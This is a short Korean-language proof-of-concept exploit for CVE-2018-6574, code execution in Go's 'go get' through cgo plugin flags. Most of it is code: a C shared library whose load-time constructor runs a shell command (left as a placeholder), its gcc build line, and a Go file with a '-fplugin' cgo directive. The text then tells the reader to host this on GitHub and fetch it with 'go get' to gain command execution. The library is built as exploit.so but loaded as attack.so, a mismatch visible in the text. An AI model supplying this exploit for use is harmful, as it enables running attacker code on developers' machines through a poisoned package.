공유

CVE-2018-6574 POC

CVE-2018-6574용 익스플로잇 POC

컴파일

다음과 같은 익스플로잇 파일을 생성합니다:

#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}

컴파일합니다:

gcc -shared -o exploit.so -fPIC exploit.c

마지막으로, cgo가 당신의 플러그인을 사용하도록 지시하는 Go 코드가 필요합니다:

package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}

그런 다음 GitHub에 호스팅하고 실행하여 명령 실행 권한을 얻습니다:

go get github.com/your-repo/CVE-2018-6574-POC